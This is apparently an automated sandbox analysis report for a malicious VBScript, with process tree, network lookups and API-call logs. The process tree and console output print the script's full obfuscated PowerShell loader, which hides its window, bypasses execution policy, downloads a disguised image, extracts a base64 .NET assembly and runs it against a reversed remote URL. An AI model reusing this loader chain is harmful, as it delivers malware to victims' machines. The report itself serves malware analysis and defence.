popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

system32.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 26, 2023, 9:36 a.m. July 26, 2023, 9:39 a.m.
Size 132.3KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 08548ae48deaeeb8bb880d74ccaf9707
SHA256 415ce6fac1cd147439b3f9dddff0780a35243e473e978eb06e62ead20b43f33c
CRC32 D65517C6
ssdeep 3072:Kod5iI2OublBciqQSxPcvg15YpUirDzJ/jYgh0a8DUx6d1ySySjcq4cWFtwR:JiI2OublBciqQSxPcvg15YpUirDzJ/jE
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\system32.vbs

    2548

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

      2652

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/universo_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"

        2768

Name Response Post-Analysis Lookup
cdn.pixelbin.io
A 54.230.167.126
A 54.230.167.117
CNAME d13bcqfgin4vvj.cloudfront.net
A 54.230.167.16
A 54.230.167.111
54.230.167.117
IP Address Status Action
164.124.101.2 Active Moloch
54.230.167.111 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:173
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/univer
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: so_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webCli
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ent.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Get
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: String($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>'
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ;$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($e
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ndFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startF
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: lag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBas
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: e64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load(
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: $commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.Ge
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: tMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.87
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: 1.591//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: At line:1 char:236
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/univer
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: so_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webCli
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: ent.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>'
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ;$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($e
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: ndFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startF
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: lag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBas
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: e64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load(
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: $commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.Ge
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: tMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.87
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: 1.591//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: At line:1 char:342
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/univer
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: so_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webCli
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: ent.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$star
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: tIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.IndexOf($e
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ndFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startF
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: lag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBas
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: e64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load(
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: $commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.Ge
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: tMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.87
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: 1.591//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f84f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f84f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f84f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f80f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8e38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8d78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004f8d78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00431500
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00431f00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00431f00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00431f00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004315c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02052000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02062000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c01000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c02000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02063000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02064000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

